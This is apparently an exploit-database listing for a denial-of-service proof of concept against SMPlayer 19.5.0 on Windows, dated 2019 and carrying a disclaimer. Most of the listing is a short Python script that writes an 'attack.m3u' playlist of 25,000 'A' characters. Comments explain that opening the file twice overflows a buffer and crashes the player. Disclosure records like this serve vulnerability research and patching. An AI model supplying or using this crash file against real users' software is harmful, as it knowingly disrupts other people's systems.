Smplayer 19.5.0 denial of service (poc) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-11-25 | Type : dos | Platform : windows
This exploit / vulnerability Smplayer 19.5.0 denial of service (poc) is for educational purposes only and if it is used you will do on your own risk!


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# Title : SMPlayer 19.5.0 - Denial of Service (PoC)
# Tested on : Windows 7 (64 bit)
# Vulnerable Software: SMPlayer v 19.5.0
# Exploit Author: Malav Vyas
# Vendor Homepage: https://smplayer.info
# Version : 19.5.0
# Software Link : https://smplayer.info/en/downloads

# POC
# run this python file, which will generate attack.m3u file
# .m3u file is used as a playlist
# this python file will generate a .m3u file with 25000 "A" characters.
# Open this file in SMPlayer two times.
# second time, buffer would be successfully overflowed and it would result in a Denial Of Service attack.
# For more details, please refer to video

f="attack.m3u"

bof = "A"*25000

writeFile = open(f, "w")
writeFile.write(bof)
writeFile.close()